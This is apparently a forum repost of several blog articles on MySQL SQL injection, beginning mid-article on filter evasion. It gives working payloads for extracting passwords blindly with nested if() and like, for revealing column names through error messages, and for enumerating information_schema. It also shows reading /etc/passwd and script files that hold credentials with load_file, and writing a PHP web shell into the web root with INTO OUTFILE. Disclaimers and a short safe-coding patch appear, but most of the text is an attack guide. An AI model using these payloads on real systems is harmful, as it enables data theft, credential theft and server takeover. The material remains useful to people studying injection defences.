1?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end) (while $char is the character in sql hex which is compared to the current character of the file at offset $x) We bypassed the filter but it requires the FILE privilege. filtering everything Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(group|order|having|limit)/i', $id)) 12 exit('attack'); // no sqli select keywords 13if(preg_match('/(into|file|case)/i', $id)) 14 exit('attack'); // no sqli operators 15if(preg_match('/(--|#|\/\*)/', $id)) 16 exit('attack'); // no sqli comments The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left? We cant use procedure analyse() because it needs a space and we cant use the ’1?%’0? trick. Basically we only have special characters left, but that is often all we need. We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}. So how do we access them blindly? A usual blind SQLi would look like the following: 1?id=(case when(mid(pass,1,1)='a') then 1 else 0 end) This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’: 1?id=1&&mid(pass,1,1)=(0x61);%00 We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids: 1?id=2&&mid(pass,1,1)=(0x61);%00 1?id=3&&mid(pass,1,1)=(0x61);%00 Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like: 1?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00 The first attempt could be: 1?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 That does not work because the “OR 1=1? at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1? at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s: 1?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter. filtering everything and even more What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”. 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(group|order|having|limit)/i', $id)) 12 exit('attack'); // no sqli select keywords 13if(preg_match('/(into|file|case)/i', $id)) 14 exit('attack'); // no sqli operators 15if(preg_match('/(--|#|\/\*)/', $id)) 16 exit('attack'); // no sqli comments 17if(preg_match('/(=|&|\|)/', $id)) 18 exit('attack'); // no boolean operators Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.: 1?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00 The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators? After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’: 1?id=if((name)like(0x61646D696E),1,0);%00 This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1: 1?id=if((name)like(0x61646D696E),id,0);%00 Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection: 1?id= 2if( 3 // if (it gets true if the name='admin') 4 if((name)like(0x61646D696E),1,0), 5 // then (if first password char='a' return admin id, else 0) 6 if(mid((password),1,1)like(0x61),id,0), 7 // else (return 0) 8 0 9);%00 Injection in one line: 1?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00 Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet! Conclusion (My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time. If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ? Edit: Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query. Here is a safe patch for the example: 1$id = (int) $_GET['id']; 2$pass = mysql_real_escape_string($_GET['pass']); 3$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); For more details have a look at the comments. More: Part2, Part 3, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections « Reiners’ Weblog
-
- 1
-
-
MySQL table and column names (update 2) Yesterday Paic posted a new comment about another idea for retrieving column names under MySQL. He found a clever way to get column names through MySQL error messages based on a trick I posted on my first article about MySQL table and column names. Here I used the modular operation ’1?%’0? in an injection after a WHERE clause, to provoke a MySQL error containing the column name used in the WHERE clause. But for now I couldnt expand this to other columns not used in the WHERE clause. Paic found a cool way with “row subqueries”. He explains the scenario pretty well, so I will just quote his comment: I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name. It is using the 1%0 trick and MySQL subqueries. I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries” You’d better read this in order to understand what’s next: MySQL :: MySQL 5.0 Reference Manual :: 12.2.9.5 Row Subqueries The hint is “The row constructor and the row returned by the subquery must contain the same number of values.” Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name. The sql query is expecting only one row as result. Here is our input: ‘ AND (SELECT * FROM USER_TABLE) = (1)– - MySQL answer: “Operand should contain 7 column(s)” MySQL told us that the table USER_TABLE has 7 columns! That’s great! Now we can use the UNION and 1%0 to retrieve some column’s name: The following query shouldn’t give you any error: ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1)– - Now let’s try with the first colum, simply add %0 to the first column in the UNION: ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)– - MySQL answer: “Column ‘usr_u_id’ cannot be null” We’ve got the first column name: “usr_u_id” Then we proceed with the other columns… Example with the 4th column: ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1)– - if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name! So remember: this does only work if the column types have the parameter “NOT NULL” and if you know the table name. Additionally, this behavior has been fixed in MySQL 5.1. Obviously it was a bug because the error message should only appear if you try to insert “nothing” in a column marked with “NOT NULL” instead of selecting. Btw other mathematical operations like “1/0? or just “null” does not work, at least I couldn’t find any other. For ’1?%’0? you can also use mod(’1?,’0?). Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice update: you can find some more information here. More: update1 Sursa: MySQL table and column names (update 2) « Reiners’ Weblog
-
MySQL table and column names Getting the table and column names within a SQL injection attack is often a problem and I’ve seen a lot of questions about this on the internet. Often you need them to start further SQLi attacks to get the data. So this article shows you how I would try to get the data in different scenarios on MySQL. For other databases I recommend the extensive cheat sheets from pentestmonkey. Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only. For the following injections I’ll assume you understand the basics of SQL injection and union select. My injections are written for a SELECT query with two columns, however don’t forget to add nulls in the right amount. 1. The information_schema table 1.a. Read information_schema table normally Sometimes on MySQL >=5.0 you can access the information_schema table. So you may want to check which MySQL version is running: 0? UNION SELECT version(),null /* or: 0? UNION SELECT @@version,null /* Once you know which version is running, proceed with these steps (MySQL >= 5.0) or jump to the next point. You can either get the names step by step or at once. First, get the tablenames: 0? UNION SELECT table_name,null FROM information_schema.tables WHERE version = ’9 Note that version=9 has nothing to do with the MySQL version. It’s just an unique identifier for user generated tables, so leave as it is to ignore MySQL system table names. update: Testing another MySQL version (5.0.51a) I noticed that the version is “10? for user generated tables. so dont worry if you dont get any results. instead of the unique identifier you can also use “LIMIT offset,amount”. Second, get the columnnames: 0? UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename Or with one injection: 0? UNION SELECT column_name,table_name FROM information_schema.columns /* Unfortunetly there is no unique identifier, so you have to scroll through the whole information_schema table if you use this. If the webapplication is designed to output only the first line of the resultset you can use LIMIT x,1 (starting with x=0) to iterate your result line by line. 0? UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 3,1 Also, you can use group_concat() to concatenate all table/column names to one string and therefore also return only one line: 0? UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = ‘tablename Once you know all table names and column names you can union select all the data you need. For more details about the information_schema table see the MySQL Documentation Library. There you’ll find other interesting columns you can add instead of null, for example data_type. Ok, that was the easiest part. 1.b. Read information_schema table blindly Sometimes you can’t see the output of your request, however there are some techniques to get the info blindly, called Blind SQL Injection. I’ll assume you know the basics. However, make sure you really need to use blind injection. Often you just have to make sure the actual result returns null and the output of your injection gets processed by the mysql_functions instead. Use something like AND 1=0 to make sure the actual output is null and then append your union select to get your data, for example: 1? AND 1=0 UNION SELECT @@version,null /* If you really need blind SQL injection we’ll go through the same steps as above, so first we try to get the version: 1?AND MID(version(),1,1) like ’4 The request will be successfull and the same page will be displayed like as we did no injection if the version starts with “4?. If not, I’ll guess the server is running MySQL 5. Check it out: 1?AND MID(version(),1,1) like ’5 Always remember to put a value before the actual injection which would give “normal” output. If the output does not differ, no matter what you’ll inject try some benchmark tests: 1? UNION SELECT (if(mid(version(),1,1) like 4, benchmark(100000,sha1(‘test’)), ‘false’)),null /* But be careful with the benchmark values, you dont want to crash your browser . I’d suggest you to try some values first to get a acceptable response time. Once we know the version number you can proceed with these steps (MySQL >= 5.0) or jump to the next point. Since we cant read out the table name we have to brute it. Yes, that can be annoying, but who said it would be easy? We’ll use the same injection as in 1.), but now with blind injection technique: 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),1,1) > ‘m Again, this will check if the first letter of our first table is alphabetically located behind “m”. As stated above, version=9 has nothing to do with the MySQL version number and is used here to fetch only user generated tables. Once you got the right letter, move on to the next: 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),2,1) > ‘m And so on. If you got the tablename you can brute its columns. This works as the same principle: 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),1,1) > ‘m 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),2,1) > ‘m 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),3,1) > ‘m And so on. To check the next name, just skip the first bruted tablename with LIMIT (see comments for more details about the index): 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1,1),1,1) > ‘m Or columnname: 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1,1),1,1) > ‘m Sometimes it also makes sense to check the length of the name first, so maybe you can guess it easier the more letters you reveal. Check for the tablename: 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),6,1)=’ Or for the column name: 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),6,1)=’ Both injections check if the sixth letter is not empty. If it is, and the fifth letter exists, you know the name is 5 letters long. Since we know that the information_schema table has 33 entries by default we can also check out how many user generated tables exist. That means that every entry more than 33 is a table created by a user. If the following succeeds, it means that there is one user generated table: 1? AND 34=(SELECT COUNT(*) FROM information_schema.tables)/* There are two tables if the following is true: 1? AND 35=(SELECT COUNT(*) FROM information_schema.tables)/* And so on. 2. You don’t have access to information_schema table If you don’t have access to the information_schema table (default) or hit a MySQL version < 5.0 it’s quite difficult on MySQL. There is only one error message I could find that reveals a name: 1?%’0 Query failed: Column ‘id’ cannot be null But that doesnt give you info on other column or table names and only works if you can access error messages. However, it could make guessing the other names easier. If you don’t want to use a bruteforce tool we will have to use load_file. But that will require that you can see the output of course. “To use this function, the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.” You can read out max_allowed_packet on MySQL 5 0? UNION SELECT @@max_allowed_packet,null /* Mostly you’ll find the standard value 1047552 (Byte). Note that load_file always starts to look in the datadir. You can read out the datadir with: 0? UNION SELECT @@datadir,null /* So if your datadir is /var/lib/mysql for example, load_file(‘file.txt’) will look for /var/lib/mysql/file.txt. 2.a. Read the script file Now, the first thing I would try is to load the actual script file. This not only gives you the exact query with all table and column names, but also the database connection credentials. A file read could look like this: 0? UNION SELECT load_file(‘../../../../Apache/htdocs/path/file.php’),null /* (Windows) 0? UNION SELECT load_file(‘../../../var/www/path/file.php’),null /* (Linux) The amount of directories you have to jump back with ../ is the amount of directories the datadir path has. After that follows the webserver path. All about file privileges and webserver path can be found in my article about into outfile. Once you got the script you can also use into outfile combined with OR 1=1 to write the whole output to a file or to set up a little PHP script on the target webserver which reads out the whole database (or the information you want) for you. 2. Read the database file On MySQL 4 and 5 you can also use load_file to get the table content. The database files are usually stored in @@datadir/databasename/ Take a look at step 2. how to get the datadir. An injection we need to read the database content looks like this: 0? UNION SELECT load_file(‘databasename/tablename.MYD’),null /* As you can see we need the databasename and tablename first. The databasename is easy: 0? UNION SELECT database(),null /* The table name is the hard part. Actually you can only guess or bruteforce it with a good wordlist and something like: 0? UNION SELECT ‘success’,null FROM testname /* This will throw an error if testname does not exists, or display “success” if tablename testname exists. If you try to guess the name, have a look at all errors, vars and html sources you can get to get an idea of how they could have named the table / columns. Often it is not as difficult as it seems first. You can find a small wordlist for common tablenames here (by Raz0r) and here. Also note that the file loaded with load_file() must be smaller than max_allowed_packet so this wont work on huge database files, because the standard value is ~1 MB which will suffice for only about 100.000 entries (if my calculation is right ) (2.c. Compromising the server) There are no other ways to get the data as far as I know, except of compromising the server via MySQL into outfile or with other techniques which are beyond the scope of this article (e.g. LFI). If you do have any other clever ways I don’t know of or feel I’m in error on some facts, PLEASE contact me. UPDATE: have a look at this post about PROCEDURE ANALYSE to get the names of the database, table and columns which are used by the query you are injecting to. UPDATE2: also have a look at this post. Sursa: MySQL table and column names « Reiners’ Weblog
-
MySQL into outfile This article will be about into outfile, a pretty useful feature of MySQL for SQLi attackers. We will take a look at the FILE privilege and the web directory problem first and then think about some useful files we could write on the webserver. Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only. As in the previous articles I’ll assume you know the basics about SQL injection and union select. 1.) The FILE privilege If we want to read or write to files we have to have the FILE privilege. Lets find out which database user we are first: 0? UNION SELECT current_user,null /* or: 0? UNION SELECT user(),null /* This will give us the username@server. We’re just interested in the username by now. You can also use the following blind SQL injections if you cant access the output of the query. Guess a name: 1? AND user() LIKE ‘root Brute the name letter by letter: 1? AND MID((user()),1,1)>’m 1? AND MID((user()),2,1)>’m 1? AND MID((user()),3,1)>’m … Once we know the current username we can check the FILE privilege for this user. First we try to access the mysql.user table (MySQL 4/5): 0? UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection: 1? AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y (one column only, do not add nulls here, it’s not a union select) You can also recieve the FILE privilege info from the information.schema table on MySQL 5: 0? UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username% blindly: 1? AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y If you can’t access the mysql.user or information_schema table (default) just go ahead with the next steps and just try. If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE. 2.) The web directory problem Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory. On MySQL 4 we can get an error message displaying the datadir: 0? UNION SELECT load_file(‘a’),null/* On MySQL 5 we use: 0? UNION SELECT @@datadir,null/* The default path for file writing then is datadir\databasename. You can figure out the databasename with: 0? UNION SELECT database(),null/* Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir. If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like: Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx To provoke an error like this try something like: 0? AND 1=’0 This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path: /etc/init.d/apache /etc/init.d/apache2 /etc/httpd/httpd.conf /etc/apache/apache.conf /etc/apache/httpd.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /opt/apache/conf/httpd.conf /home/apache/httpd.conf /home/apache/conf/httpd.conf /etc/apache2/sites-available/default /etc/apache2/vhosts.d/default_vhost.include Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out: 0? UNION SELECT @@version,null /* -nt-log at the end means it’s a windows box, -log only means it’s *nix box. Or take a look at the paths in error messages or at the header. Typical web directories to guess could be: /var/www/html/ /var/www/web1/html/ /var/www/sitename/htdocs/ /var/www/localhost/htdocs /var/www/vhosts/sitename/httpdocs/ Use google to get some more ideas. Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access. 3.) create useful files Once you figured out the right directory you can select data and write it into a file with: 0? UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt (How to figure out column/table names, see my article about MySQL table and column names) Or the whole data without knowing the table/column names: 1? OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE. You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace. 0? AND 1=0 UNION SELECT load_file(‘…’) INTO OUTFILE ‘… In some cases I’d recommend to use 0? AND 1=0 UNION SELECT hex(load_file(‘…’)) INTO OUTFILE ‘… and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files. Or you can write whatever you want into a file: 0? AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php Here are some useful code examples: // PHP SHELL <? system($_GET['c']); ?> This is a very simple one. You can find more complex ones (including file browsing and so on) on the internet. Note that the PHP safe_mode must be turned off. Depending on OS and PHP version you can bypass the safe_mode sometimes. // webserver info Gain a lot of information about the webserver configuration with: <? phpinfo(); ?> // SQL QUERY <? ... $result = mysql_query($_GET['query']); ... ?> Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect. At the end some notes regarding INTO OUTFILE: you can’t overwrite files with INTO OUTFILE INTO OUTFILE must be the last statement in the query there is no way I know of to encode the pathname, so quotes are required you can encode your code with char() If you have any other clever tricks or feel I’m in error on some facts, PLEASE leave a comment or contact me. SURSA: MySQL into outfile « Reiners’ Weblog